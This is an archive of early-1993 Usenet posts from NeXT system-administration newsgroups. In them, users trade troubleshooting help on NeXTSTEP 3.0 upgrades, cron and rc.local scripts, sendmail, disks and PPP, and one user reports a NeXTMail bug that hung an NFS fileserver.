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From: kinch@valve.heart.rri.uwo.ca (Dave Kinchlea)
Subject: Recipe for bringing a Personal Iris to its knees ...
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Date: Thu, 7 Jan 1993 15:13:45 GMT
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SUFFICIENT (but probably not necessary) Ingredients
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	- Personal Iris 4.0.1 - fileserver
	- NeXTStation 2.1     
	- Ethernet LAN running TCP/IP 
	- NeXTMail 2.0 (v63)  
	- mbox residing on Iris and has 250 deleted but not compacted
messages (NeXTMail keeps deleted mail messages around until the
Compact command is given -- well I didn't know this ;-()

Instructions
------------
	- start NeXTMail up on account with aforementioned mbox
	- choose Undelete option in NeXTMail
	- sit back for a couple of minutes and watch the fun

Results
-------
	- filesystem which mbox resides fills up (quite quickly) but
NO files are created (at least no directory entries and nothing that
fsck(1M) can find)
	- filesystem becomes corrupted requiring fsck intervention,
some files get trashed - most notably the `table_of_contents' file for
the above user -- possibly others as well.
	- some internal (NFS?) buffers and/or queues become so
overloaded that the load on the machine builds to over 16 although
there is no CPU activity (according to top(1)) and no disk activity at
all.
	- if left long enough, all user I/O is impossible, even X
freezes leaving only the clock and the mouse with any I/O at all
(colour maps get screwed, window redraws/pop/push ignored, no input
accepted via keyboard; in other words -- DEAD)

How To Stop Once Started
------------------------
	- So far the only intervention that worked was to reboot the
Iris and the NeXT, both are in bad states and rebooting only one does
not fix the other one (although it might be possible to leave the NeXT
alone, I didn't try that).

Comments
--------
	- This recipe has been tried twice, the second time there was
no `table_of_contents' file and therefore the mbox appeared to have NO
deleted files, but I don't know enough about NeXTMail to be sure of
this. The first time this happened the machine was left for ~1.5 hours
and became COMPLETELY unusable and the only way to reboot was to hit
the panic button. The second time I managed to keep one window active
and after 15 minutes or so the load was growing to greater than 16
even though the NeXT had been turned OFF. I would spend more time on
this except that nobody else can do anyting during the testing ;-(

	- Anybody know what might be going on? It seems to me that
this is a mixture of (at least) two bugs: one on each machine, but I
am quite willing to be shown to be wrong.

-- 
Dave Kinchlea            
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Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin From: kgnome@cs.concordia.ca (MATIS stephane) Subject: Re: >>>HELP<<< PLEASE: Fujitsu hard disk problems Message-ID: <C0Hp12.1BM@newsflash.concordia.ca> Sender: usenet@newsflash.concordia.ca (USENET News System) Organization: Computer Science, Concordia University, Montreal, Quebec References: <Mta=3D@engin.umich.edu> <1993Jan6.175559.17831@kakwa.ucs.ualberta.ca> Distribution: usa Date: Thu, 7 Jan 1993 15:15:02 GMT Wassim M. Jabi (wjabi@libra.arch.umich.edu) wrote: : Hi: : I've been experiencing some trouble with my Fujitsu 520MB : external. It happens once or twice a week. I would hear the disk : go "click, click" and then the console window will have these messages : scrolling by. Many times an alert window would come up telling me : to save documents before logging out. Any idea what is going on? : : Messages: : ------ cut here ----------------------------- : Target 0: HARDWARE ERROR; block 0H retry 1 : Target 0: NOT READY; retry 1 : Target 0: NOT READY; retry 2 : . : . : . : Target 0: NOT READY; retry 19 : sd0 (0,0): sense key:0x2 additional sense code: 0x4 : SCSI Block in error = 0 (front porch) : IO error on pagein: error = 5. : Dec 30 15:00:18 Workspace: Controller exited. : ------ cut here ----------------------------- : HELP!!!!!! Well, as I can testify... that's not good news. My HD was DOA. It was a M2624F rev 0304 and it was just going click click ... no stop. Nothing worked! Fujistu techie said that it was the drive was unable to read it's own specification area! Yikes! Now I have another one, a rev 0404 that arrive a week ago. This one requires absulutelly no jumper modifications, as it talks lingua franca SCSI either way. Nice improovment. Personally, I'm looking for the sense on a 1024 Byte formated one... anybody ? +---------------------------------+ ___ ___ ___ | Stephane I. Matis | / \_BATLLETECH /\__\ Viva NeXT! | E-Mail : kgnome@cs.concordia.ca | \___/ \___/ \/__/ NeXTSTEP 3.0! | "It Just Works..." - Steve Jobs | \___/ +---------------------------------+ Wolfnet Operative & NeXThead
Control: cancel <CRATH.93Jan6112226@bcarh1ed.bnr.ca> Newsgroups: comp.sys.next.sysadmin From: crath@bnr.ca (Christopher Rath) Subject: cancel <CRATH.93Jan6112226@bcarh1ed.bnr.ca> Message-ID: <CRATH.93Jan7101724@bcarh1ed.bnr.ca> Sender: usenet@bcars6a8.bnr.ca (Use Net) Organization: Bell Northern Research, Ottawa, Canada Distribution: comp Date: Thu, 7 Jan 1993 15:17:24 GMT
From: mark@plexus.guild.org (Mark Onyschuk) Newsgroups: comp.sys.next.sysadmin Subject: using a disk partition as a swap device Keywords: swap Message-ID: <1993Jan6.045206.566@plexus.guild.org> Date: Wed, 6 Jan 1993 04:52:06 GMT Sender: mark@plexus.guild.org Organization: Onyschuk and Associates, Toronto We've partitioned our rather large drive in hopes of using one smallish partition as a swap device (and forego the Berkeley FFS). Now that we have our partition, what need we do next? aTdHvAaNnKcSe, Mark
From: lnb@netcom.com (Nick Brosnahan) Newsgroups: comp.sys.next.sysadmin Subject: Keyboard Mapping Message-ID: <1993Jan7.174146.23063@netcom.com> Date: 7 Jan 93 17:41:46 GMT Organization: Netcom - Online Communication Services (408 241-9760 guest) Is there any way to remap the backquote, pipe, and backslash keys to a more reasonable location on the original keyboard under NS 3.0? I tried to set up the command key alternatives, but it isn't cooperating. If anyone has done this or has any idea, please respond by e-mail to: lnb@netcom.com. Thanks -- L. Nicholas Brosnahan, Jr. INTERNET: lnb@netcom.com
Newsgroups: comp.sys.next.sysadmin From: Zacharias J. Beckman <zac@dolphin.com> Subject: HELP: NS 3.1 Boots Only in Single-User Mode! Message-ID: <1993Jan7.164953.9439@dolphin.com> Sender: zac@dolphin.com Organization: Dolphin Software Distribution: usa Date: Thu, 7 Jan 1993 16:49:53 GMT Hello, A few days ago, our server had a horrible crash. Everything on the network locked up tight and needed to be restarted the hard way. When the server came back up, it refused to boot in multi-user mode. The boot parameter of "-nbu=128" was being ignored, and the default 16 buffers were used. When the system started to boot Mach, it declared that it couldn't write to mtab because the file system was read only!!! The only way around this at present is to boot in single-user mode, then continue the multi-user startup. Has anyone run into this sort of problem before, or have any idea where I an look to cure it? Thanks in advance. -- Zacharias J. Beckman - Dolphin Software Inc. - zac@dolphin.com - use NeXTMAIL! To be "matter of fact" about the world is to blunder into fantasy.... and dull fantasy at that, as the real world is strange and wonderful. --- R. A. Heinlen Those opinions I express herein are my own, I'm fairly sure. --- Z. J. Beckman
From: greimann@pecan.cns.udel.edu (J. Brandon Greimann) Newsgroups: comp.sys.next.sysadmin Subject: diskeject problem Date: 7 Jan 1993 20:53:20 GMT Organization: University of Delaware Distribution: world Message-ID: <1ii580INNq5f@nigel.ee.udel.edu> There seems to be a bug in 3.0/on my machine that messes up the dialog box that comes up when ejecting a disk that is being used by an app. The box pops up for a split second then goes away, leaving people not realizing why their floppy disks won't eject, and it screws up how SyQuest's are mounted. I was wondering if this is a common problem and if there's a cure for it? Thanks, Brandon -- ............................................................................... To reach me through e-mail: greimann@freezer.cns.udel.edu Phone: (302) 368-4862
From: wade@hobbes.ucsd.edu (Wade Blomgren) Newsgroups: comp.sys.next.sysadmin Subject: Re: cron and shell scripts Date: 7 Jan 1993 19:01:48 GMT Organization: UC San Diego Academic Computing Distribution: usa Message-ID: <1ihumsINN1mq@network.ucsd.edu> References: <86258@ut-emx.uucp> Summary: csh under cron, strange failures In an article, mikael@scout.utexas.edu (Mikael Behrens) writes: |> |> [description of failure of cron entry for user other than root] After upgrading to 3.0 I am having a related problem, with non-root csh scripts run from cron. The scripts are run, but any redirection of output from a command in the script goes to the standard output of the script, not to the target of the redirection. For example, the following script (saved in, say, /tmp/script, mode 755): #! /bin/csh echo foo > /tmp/bar run by the following crontab entry: * * * * * me /tmp/script > /tmp/script.out 2>&1 results in the word "foo" appearing in /tmp/script.out, NOT /tmp/bar. The same is true for piped output: cat /etc/hosts | grep localhost > /tmp/bar will send the entire hosts file to the output of the script, and nothing goes through the grep or into /tmp/bar. NOTE: the output files _are created_. That is to say, in the first simple example, the file /tmp/bar will exist, but it will be empty. This behavior does not seem to happen when the cron command is run by root. When the script is run from the command line by the user account it works fine. The problem does not occur on a self contained machine in my office but it does occur on our other machines. As I type this I realize the main difference between my machine and the failing machines is the failing machines are running NIS. I'm going to turn NIS off on one of the machines and see if the problem goes away. In the meantime, can anyone else who is using NIS (or not) under 3.0 comment? Am I hallucinating? Wade Blomgren wade@hobbes.ucsd.edu
Newsgroups: comp.sys.next.sysadmin From: woo@ornl.gov (John W. Wooten) Subject: rc.local? Message-ID: <1993Jan7.213419.7488@ornl.gov> Sender: usenet@ornl.gov (News poster) Organization: Oak Ridge National Laboratory Date: Thu, 7 Jan 1993 21:34:19 GMT I have a file rc.local in which I start my gopher daemon and a supersrv daemon. Under 2.1 this worked fine. Now I find that under 3.0, the script starts and prints out the Starting local daemons: and then the final . In between are the parts to start the two daemons and they don't get started! If as su, I type sh /etc/rc.local (exactly what is in the rc script), then the rc.local starts both daemons fine. Any ideas on what I'm doing wrong? - - - - - - - - - J. W. Wooten
Newsgroups: comp.sys.next.sysadmin From: nwc (Nick Christopher) Subject: Re: cron and shell scripts Message-ID: <C0I27v.5uC@ny.shl.com> Sender: usenet@ny.shl.com (Net News) Organization: SHL Systemhouse Inc. References: <86258@ut-emx.uucp> Distribution: usa Date: Thu, 7 Jan 1993 19:59:55 GMT In article <86258@ut-emx.uucp> mikael@scout.utexas.edu (Mikael Behrens) writes: > 10 17 * * * mikael /bin/sh /Users/mikael/Apps/RetrieveMail > > > The last line is my addition. I've been changing the times to test it. > I've also tried this entry: > > 10 17 * * * mikael /Users/mikael/Apps/RetrieveMail > > Neither works. try: 10 17 * * * root su mikael -c '/Users/mikael/Apps/RetrieveMail'
From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy)) Subject: Re: HELP: NS 3.1 Boots Only in Single-User Mode! Message-ID: <HARDY.93Jan7130011@golem.ps.uci.edu> In-reply-to: Zacharias J. Beckman's message of Thu, 7 Jan 1993 16:49:53 GMT Newsgroups: comp.sys.next.sysadmin Organization: Department of Physics, UC Irvine, CA 92717-4575, USA Distribution: usa References: <1993Jan7.164953.9439@dolphin.com> Date: 7 Jan 93 21:00:16 GMT Do you really mean NS 3.1? Is there such a thing? -- Hardy ----- Meinhard E. Mayer, Department of Physics, UC Irvine e-mail: hardy@golem.ps.uci.edu (preferred) or MMAYER@UCI.BITNET !!!! NO NEXTMAIL TO THESE ADDRESSES, PLEASE !!!!!
From: mikael@scout.utexas.edu (Mikael Behrens) Newsgroups: comp.sys.next.sysadmin Subject: Re: cron and shell scripts Message-ID: <86306@ut-emx.uucp> Date: 7 Jan 93 20:53:22 GMT References: <86258@ut-emx.uucp> Sender: news@ut-emx.uucp Distribution: usa Mikael Behrens writes | I'm running a mono NeXTstation with Mamakos' SLIP software, and I have a | shell script that retrieves my mail from my school account. This script | works; I've tested it several times. | | I would like to have this script periodically executed by cron, but I | can't seem to make it work. Here's my /private/etc/crontab file: | | 0,15,30,45 * * * * root /usr/lib/atrun | 0 2 * * * root /bin/sh /usr/adm/daily >/usr/adm/daily.log 2>&1 | 30 3 * * 6 root /bin/sh /usr/adm/weekly >/usr/adm/weekly.log 2>&1 | 30 5 1 * * root /bin/sh /usr/adm/monthly >/usr/adm/monthly.log | 2>&1 | 10 17 * * * mikael /bin/sh /Users/mikael/Apps/RetrieveMail | | | The last line is my addition. I've been changing the times to test it. | I've also tried this entry: | | 10 17 * * * mikael /Users/mikael/Apps/RetrieveMail | | Neither works. When the specified time rolls around nothing happens. | I've rebooted after changing the crontab file, but that doesn't seem to | help. Is there a log file somewhere where errors are reported? I've | never messed with cron before, and I'm completely stumped. Any help would | be greatly apprecieated. | | Mikael | Thanks to Robert Lutwak who responded to my post, the problem is solved. My script uses ftp, and I had to specify it's full pathname for it to run under cron. Thanks to everyone else who responded too. The net sure is a nice resource (especially when the online documentation has NOTHING to say!) Mikael Behrens
Newsgroups: comp.sys.next.sysadmin From: jchin@prodigy.bc.ca (Joseph Chin) Subject: Re: sendmail problem Message-ID: <1993Jan7.222922.4587@prodigy.bc.ca> Sender: news@prodigy.bc.ca Organization: Prodigy Technologies Corp. References: <1993Jan7.222028.4493@prodigy.bc.ca> Date: Thu, 7 Jan 1993 22:29:22 GMT In article <1993Jan7.222028.4493@prodigy.bc.ca> jchin@prodigy.bc.ca (Joseph Chin) writes: > I've just noticed that since I upgraded to 3.0, I can no > longer send email to accounts within my domain > (prodigy.bc.ca). Is there a bug in the 3.0 sendmail.cf > file? The NeXT is a mail client on the network, and the > mail host is a Sun Sparc server. Everything worked fine > before the 3.0 upgrade. I forgot to add that the following was found in the /usr/spool/mqueue/syslog file: Jan 7 13:39:25 johnette sendmail[942]: AA00939: to=jchin, delay=00:00:04, stat=Service unavailable, mailer=etherl Joe -- Joseph Chin Prodigy Technologies Corp. jchin@prodigy.bc.ca (NeXTmail welcome) Vancouver, British Columbia phone 16046874636 / fax 16046871671 Canada **** "Heaven won't take me and Hell's afraid I'll take over!" ****
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin From: jchin@prodigy.bc.ca (Joseph Chin) Subject: sendmail problem Message-ID: <1993Jan7.222028.4493@prodigy.bc.ca> Sender: news@prodigy.bc.ca Organization: Prodigy Technologies Corp. Date: Thu, 7 Jan 1993 22:20:28 GMT I've just noticed that since I upgraded to 3.0, I can no longer send email to accounts within my domain (prodigy.bc.ca). Is there a bug in the 3.0 sendmail.cf file? The NeXT is a mail client on the network, and the mail host is a Sun Sparc server. Everything worked fine before the 3.0 upgrade. Any ideas? Thanks. Joe -- Joseph Chin Prodigy Technologies Corp. jchin@prodigy.bc.ca (NeXTmail welcome) Vancouver, British Columbia phone 16046874636 / fax 16046871671 Canada **** "Heaven won't take me and Hell's afraid I'll take over!" ****
Newsgroups: comp.sys.next.sysadmin From: tjhendry@queen.mcs.drexel.edu Subject: OD Media Rendered Useless by funky drive? Message-ID: <1993Jan7.190931.1257@afs.com> Sender: jon@afs.com Distribution: USA Date: Thu, 7 Jan 1993 19:09:31 GMT Hi. I've got an OD that was going south for a while. It basically made a mess of my two optical disks. Yeah, I know, I should have had them write protected. Anyway, now that I have cleaned my OD, the disks are still reported unusable. I don't know if it's the disks or if it's the drive. 1) Is there any way to do a "low-level" format on the disks? 2) Are the disks repairable? Please respond via email, since my access to the c.s.next.* groups will end when I go back to school. Thanks! -- Jonathan Hendry Anderson Financial Systems jon@afs.com (Nextmail Welcome!) or hendryjw@duvm.ocs.drexel.edu ght find it? I recently tried hooking my cube to my Sony 5 disk changer, b
Newsgroups: comp.sys.next.sysadmin From: kluge@avalon.physik.unizh.ch (kluge daniel) Subject: Re: PPP and/or SLIP drivers for a NeXTstation Turbo (sys2.2) Message-ID: <1993Jan7.234336.4131@ifi.unizh.ch> Sender: news@ifi.unizh.ch (USENET News Admin) Organization: University of Zurich, Department of Computer Science References: <1993Jan5.160333.493@bvl.pt> Date: Thu, 7 Jan 1993 23:43:36 GMT jessica.bvl.pt!root (Operator) writes: : I'm looking for PPP or SLIP software that can be installed an our NeXT. : I don't know nothing about kernel remaking as I'm only using a NeXT for 3 : months or so, besides the soft I need very NeXT oriented info. : For the soft, a file name and a site will do, for the help... Well, I'll : summarize latter... : : Can anyone help me with this ??? ... Please... : : regards, : vasco There is a next-ppp package at merit.edu, with all the binaries, and some explanations to the installation on the NeXT, among the binaries, there are some sources, that are impossible to compile (IMHO offcourse). Another site for ppp might be archive.cis.ohio-state.edu Besides, there is an interesting paper, covering SLIP and PPP available at most ftp-sites (sonata, ftp.acns.nwu.edu), SLIP is on most sites as well, eg. at sonata. - daniel -- Daniel G. Kluge @ Swiss Federal Institute of Technology Zuerich E-Mail : kluge@avalon.physik.unizh.ch (NeXT-Mail welcome) study-related stuff : dankluge@iiic.ethz.ch DECnet : EZINFO::CLUESCH
Newsgroups: comp.sys.next.sysadmin From: kluge@avalon.physik.unizh.ch (kluge daniel) Subject: Re: booting 3.0 from floppy Message-ID: <1993Jan7.234646.4234@ifi.unizh.ch> Sender: news@ifi.unizh.ch (USENET News Admin) Organization: University of Zurich, Department of Computer Science References: <C0EGKu.M8J@helios.physics.utoronto.ca> Date: Thu, 7 Jan 1993 23:46:46 GMT root@emerald.name physics.utoronto.ca (Operator) writes: : I've something dumb with my root directory...it seems sdmach is missing or : damaged and the machine won't reboot. I'm no UNIX whiz. I thought that : maybe all I would need to do is to do a basic boot from a floppy, bUT all : I can find is Bootfloppy2.1 in th archives. Is there a 3.0 version, or is : there some other way to fix this problem? Some days, I found this at sonata: /pub/next/submissions/: -rw-r--r-- 1 ftp 12669 Oct 6 07:44 BootFloppy3.0.tar.Z Might be a solution ? - daniel -- Daniel G. Kluge @ Swiss Federal Institute of Technology Zuerich E-Mail : kluge@avalon.physik.unizh.ch (NeXT-Mail welcome) study-related stuff : dankluge@iiic.ethz.ch DECnet : EZINFO::CLUESCH
Newsgroups: comp.sys.next.sysadmin From: garyc@lenny.acns.nwu.edu (Gary I. Chang) Subject: swapfile.front???? How can I get rid of it? What is it? Message-ID: <1993Jan8.051543.5862@news.acns.nwu.edu> Sender: usenet@news.acns.nwu.edu (Usenet on news.acns) Organization: Northwestern University, Evanston, Illinois, USA Date: Fri, 8 Jan 1993 05:15:43 GMT Hi, After upgrading to NS3.0 I found another file named "swapfile.front" in the same directory as swapfile. The filesize shows 284MB in the WP Inspector. (I only have a 406 MB disk) and the size of swapfile remains at 16MB even after playing a while on my 16MB memory NSC. What is the file for? Why does it take 284MB which does not even exist? g -- +----------------+ | Gary I. Chang | +----------------+ Northwestern Univ. E-Mail: garyc@eecs.nwu.edu
Newsgroups: comp.sys.next.sysadmin From: garyc@lenny.acns.nwu.edu (Gary I. Chang) Subject: ROM monitor error Message-ID: <1993Jan8.051932.6022@news.acns.nwu.edu> Sender: usenet@news.acns.nwu.edu (Usenet on news.acns) Organization: Northwestern University, Evanston, Illinois, USA Date: Fri, 8 Jan 1993 05:19:32 GMT Hi, After upgrading to 3.0, I deleted /Net which was empty on my stand alone NSC. From that on, I could never boot up the system, I was put in the ROM monitor window with the message: Exception #3 (0xc) at 0x100034c my ROM ver is 2.4(v65) I had to 'bsd' to bring up the loginwindow.... after that everything seems to be fine until the next reboot...... any idea? g -- +----------------+ | Gary I. Chang | +----------------+ Northwestern Univ. E-Mail: garyc@eecs.nwu.edu
From: maurices@spock.dis.cccd.edu (Maurice Shihadi) Newsgroups: comp.sys.next.sysadmin Subject: Re: Help! Installing 3.0 on external HD Date: 7 Jan 1993 22:06:45 -0800 Organization: Coast Community College District, Costa Mesa, CA Message-ID: <1ij5llINN82m@spock.dis.cccd.edu> References: <1993Jan5.222822.5009@midway.uchicago.edu> In article <1993Jan5.222822.5009@midway.uchicago.edu> chwe@quads.uchicago.edu writes: >I have been having all sorts of problems installing system 3.0 >on my external hard disk. Before trying to upgrade, I had system 2.1 >on both my internal (105M Quantum from NeXT) and external (1G Fujitsu)-- >the external's SCSI ID was set up so that it would be the default >bootup drive. >After plugging in a friend's CD-rom with the 3.0 CD, and running >UpgradePrep.app from the CD-Rom tools diskette, it took me a long >time to get the computer to read the CD-rom. Finally it did and I >did the automatic installation on my external drive, which seemed >OK. But after installation, booting from my external drive >puts me into a System Panic window, which eventually stops and >then tries to boot again. I tried booting from the CD-rom as detailed >in the manuals but this did not work either. If I unplug the external >and CD-rom I can still boot up from my internal drive, luckily. >Currently I can't access my external drive at all (I've tried >bsd(1,0,0) from the ROM Monitor to boot from my internal drive, >but I haven't tried changing the SCSI ID of the external drive, >which involves opening the enclosure and moving the jumpers). > >Any help or suggestions would be very much appreciated! I've been >out of the country for the last four months so I haven't been able >to keep up with the current folklore on system 3.0--so excuse me if >this is an old question. Please repost or send email (regular, >not NeXT) to chwe@chwe1.spc.uchicago.edu. I was testing the Ocean Vista 256 3.5 inch optical and learned the following: 1) NS 3.0's BuildDisc Application doesn't seem to work; therefore using the Optical as an external boot device won't work yet. 2) There is a difference between device address and SCSI address. I believe that the external peripheral should be SCSI #0 to become the external boot device. Also, in booting from the ROM monitor I believe that one is addressing the device number which is different from the SCSI address. I forget the exact designations but everything concerning SCSI address and device numbers is explained in the upgrade documentation provided with NS 3.0 CD. Hope this helps. Good luck. maurices n ne 3)
Newsgroups: comp.sys.next.sysadmin From: antigone!mross (Michael Ross) Subject: Re: rc.local? Message-ID: <1993Jan8.051546.1660@antigone.com> Sender: mross@antigone.com Organization: Antigone Press, San Francisco, CA, USA References: <1993Jan7.213419.7488@ornl.gov> Date: Fri, 8 Jan 1993 05:15:46 GMT In article <1993Jan7.213419.7488@ornl.gov> woo@ornl.gov (John W. Wooten) writes: > I have a file rc.local in which I start my gopher daemon > and a supersrv daemon. Under 2.1 this worked fine. Now I find that > under 3.0, the script starts and prints out the > Starting local daemons: > and then the final . > > In between are the parts to start the two daemons and they don't get > started! > If as su, I type sh /etc/rc.local (exactly what is in the rc script), > then the rc.local starts both daemons fine. > > Any ideas on what I'm doing wrong? Yes 3.0 broke something. The workaround is to call a shell script from rc.local, not to do anything directly in rc.local. Haven't figured out why... -- Michael Ross Antigone Press, San Francisco, California e-mail: mross@antigone.com FAX: 1-415-431-3650
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.programmer From: schlangm@Informatik.TU-Muenchen.DE (Harald Schlangmann) Subject: Using HP LJIIIp with djf_for_3.0? Keywords: Printer,djf_for_3.0,IIIp Originator: schlangm@hphalle0i.informatik.tu-muenchen.de Sender: news@Informatik.TU-Muenchen.DE (USENET Newssystem) Organization: Technische Universitaet Muenchen, Germany Date: Fri, 8 Jan 1993 09:34:16 GMT Message-ID: <1993Jan8.093416.702@Informatik.TU-Muenchen.DE> I wounder if anyone out there patched djf_for_3.0 (or earlier versions) to work with a HP Laserjet IIIp? I've tried the Dots-Demo and it is working, djf produces just garbage. Shouldn't djf work with IIIp also? As far as I know, HP's IIIp uses PCL5 and should support mode 2 and 3 compression --- or is just a initializer missing? Any help would be nice. Please answer to schlangm@informatik.uni-muenchen.de, I will summarize if I get any helpfull reply. Thanx, Harald
Newsgroups: comp.sys.next.sysadmin From: eoliver@ralph.cs.haverford.edu (Erik Oliver) Subject: Re: sendmail problem Message-ID: <PTKWBZAS@cc.swarthmore.edu> Sender: news@cc.swarthmore.edu (USENET News System) Organization: Haverford College Computer Science Department References: <1993Jan7.222028.4493@prodigy.bc.ca> <1993Jan7.222922.4587@prodigy.bc.ca> Date: Fri, 8 Jan 1993 13:29:44 GMT In article <1993Jan7.222922.4587@prodigy.bc.ca> jchin@prodigy.bc.ca writes: >In article <1993Jan7.222028.4493@prodigy.bc.ca> jchin@prodigy.bc.ca >(Joseph Chin) writes: >> I've just noticed that since I upgraded to 3.0, I can no >> longer send email to accounts within my domain >> (prodigy.bc.ca). Is there a bug in the 3.0 sendmail.cf >> file? The NeXT is a mail client on the network, and the >> mail host is a Sun Sparc server. Everything worked fine >> before the 3.0 upgrade. > >I forgot to add that the following was found in the >/usr/spool/mqueue/syslog file: >Jan 7 13:39:25 johnette sendmail[942]: AA00939: to=jchin, delay=00:00:04, >stat=Service unavailable, mailer=etherl > >Joe >-- >Joseph Chin Prodigy Technologies Corp. >jchin@prodigy.bc.ca (NeXTmail welcome) Vancouver, British Columbia >phone 16046874636 / fax 16046871671 Canada > **** "Heaven won't take me and Hell's afraid I'll take over!" **** Okay, well we had so much trouble with sendmail and our network that we ended up almost completely rewriting the rule sets in many cases. Sendmail is an extremely complicated system and trying to figure out what is going wrong can be very difficult. There is however, a debugging mode: sendmail -bt, this will show you how addresses are being parsed on your NS and which rule set is being used. Also, make sure you are using the correct sendmail.cf file, the NeXT comes shipped with a number of them. At our site we ended up making our next a mailhost/server before we finally got things right... Then we had to modify Rule sets 0,D, and 1 to get addresses to parse right, all in all a nasty job. The problems we had: (1) a VAX Domain Server running PMDF configured not to understand UNIX mail addressing conventions... sigh! (2) a dotted machine name, ralph.cs where there is no cs domain, and through all of this, w still got it to work. So good luck, read your manuals carefully, and discover the sendmail comp newsgroup. -Erik
Newsgroups: comp.sys.next.sysadmin From: emarinos@marcon.ka.sub.org (Evstathios Marinos) Subject: HELP: Dump problem with HP 35480A DAT Streamer Message-ID: <1993Jan8.100823.541@marcon.ka.sub.org> Sender: emarinos@marcon.ka.sub.org (Evstathios Marinos) Organization: The little black box game department Date: Fri, 8 Jan 1993 10:08:23 GMT Hi, I've got problems with the DAT Streamer HP 35480A running at NeXT machines when working with dump/restore. Dumping files to the streamer workes fine, but performing a restore from a dump produces a strange behaviour. Some times it works fine, the next time I get following error: ST:CMD=0x8 SR_IO_STATUS=2H Sense Key=0x0 Sense Code=0x0 Tape/Disk Read Error: I/O Error I tried the streamer with various NeXT machines, Cube's, Mono's, Turbo Color's and I always got the same problems with restore. When using tar to write and read to the streamer no errors ocured. Doe's anybody know this problem and how to solve it? Thank you very much for your help. -- Stati Marinos | Phone : +49 721 37 71 78 Gartenstr. 2 | Fax : +49 721 37 71 79 7500 Karlsruhe 1 (GERMANY) | E-Mail: emarinos@marcon.ka.sub.org Registered NeXTDeveloper | - NeXTMail welcome -
Newsgroups: comp.sys.next.sysadmin From: rpajarol@iiic.ethz.ch (Renato Bruno Pajarola) Subject: rc.local Message-ID: <1993Jan8.150428.29811@neptune.inf.ethz.ch> Sender: news@neptune.inf.ethz.ch (Mr News) Organization: Dept. Informatik, Swiss Federal Institute of Technology (ETH), Zurich, CH Date: Fri, 8 Jan 1993 15:04:28 GMT Subject: Summary: Expires: Sender: rpajarol@iiic.ethz.ch Followup-To: Distribution: Distribution: Organization: Dept. Informatik, Swiss Federal Institute of Technology (ETH), Zurich, CH Keywords: nppower Hi people, since I have the new NextStep3.0, over all it's very good, I can't do some things I did bevore. Especially things I want to do at boot-up time. In NS2.1 I had entries in the rc.local to play a sound and to power the printer off. The entries looked something like this: sndplay /LocalLibrary/Sounds/mysound.snd & ... nppower off ... The sound was played during boot process until the loginwindow was displayed (then interrupted, never mind ...). The printer was turned off bevor displaying the loginwindow. In NS3.0 now the sound does not play anymore. (the path is right, sndplay still exists) In some cases I was able to turn the printer off, but then after loging in, the printer did'n turn on when selecting "Print", because it's status was "unavailable". I had to switch it to private or public using the PrinterManager. (not the way I like it) The sound "mysound" is on a second, extern harddisk. (it was also in NS2.1) Can anybody tell me, what changed in the behaviour of the rc.local script or how can I achieve these things (esp. printer off) in another way. Thanks a lot for mailing me back. ------- ------------------------------------------------------------------------ Name: Renato Pajarola Country: Switzerland Profession: Student in Computer Science ETH Zuerich E-Mail: rpajarol@iiic.ethz.ch There's a hell of a good universe NeXT door; let's go ...
Newsgroups: comp.sys.next.sysadmin From: eoliver@ralph.cs.haverford.edu (Erik Oliver) Subject: Re: rc.local? Message-ID: <PYKWB5WT@cc.swarthmore.edu> Sender: news@cc.swarthmore.edu (USENET News System) Organization: Haverford College Computer Science Department References: <1993Jan7.213419.7488@ornl.gov> <1993Jan8.051546.1660@antigone.com> Date: Fri, 8 Jan 1993 15:37:22 GMT MMM.... personally, we call a bunch of things from rc.local under 3.0 with absolutely no problems: (begin included /etc/rc.local) #!/bin/sh -u # # This script is for augmenting the standard system startup commands. It is # executed automatically by the system during boot up. # # Copyright (C) 1992 by NeXT Computer, Inc. All rights reserved. # # As released orm, this script does nothing. You may customize # it as you wish. # fbshow -A -B -E -I "Starting*Local*Services..." # Read in configuration information . /etc/hostconfig # (echo -n 'local daemons:') >/dev/console # # Run your own commands here # /usr/etc/accton /usr/adm/acct # The above line initiates the accounting software startup. # added: 11/2/92, 3:15 pm # (echo '.') >/dev/console # # The following line initiates the NetNews trn, thread database daemon # mthreads. /usr/local/lib/trn/mthreads -d60 -e # added 11/12/92, 6:30pm, eoliver # -d60 means run every 60 minutes. # -e means do enhanced expiration check /usr/etc/accton is a mach executable, as is mthreads, and mthreads run with a '-d' is a daemon program which runs without any problems. So, whatever your problem is, I somehow doubt it is a flaw in rc.local itself. -Erik
Newsgroups: comp.sys.next.sysadmin From: dan@foghorn.pass.wayne.edu (Daniel Cwiertniewicz) Subject: Re: PPP and/or SLIP drivers for a NeXTstati Message-ID: <1993Jan8.162820.13565@cs.wayne.edu> Sender: usenet@cs.wayne.edu (Usenet News) Organization: Wayne State University References: <1993Jan7.234336.4131@ifi.unizh.ch> Date: Fri, 8 Jan 1993 16:28:20 GMT In article 4131@ifi.unizh.ch, kluge@avalon.physik.unizh.ch (kluge daniel) writes: >jessica.bvl.pt!root (Operator) writes: >There is a next-ppp package at merit.edu, with all the binaries, and >some >explanations to the installation on the NeXT, among the binaries, there >are some sources, that are impossible to compile (IMHO offcourse). I agree. I do this kind of stuff for a living and I found the PPP stuff at merit.edu almost completely incomprehensible. I tried contacting the folks at Merit, but no one there seemed to know anything about it. I am going to check the PPP discussion group and see if anyone there has thoughts on this subject. I'll post here if I get a workable solution. Otherwise Morningstar seems to be the only vendor with a PPP implementation for NeXT. --- Daniel Cwiertniewicz Phone: (313)-577-0787 Systems Analyst, Networking Support Group Fax: (313)-577-8787 Computing and Information Technology E-Mail: DCWIERT@WAYNEST1 or Wayne State University dan@foghorn.pass.wayne.edu
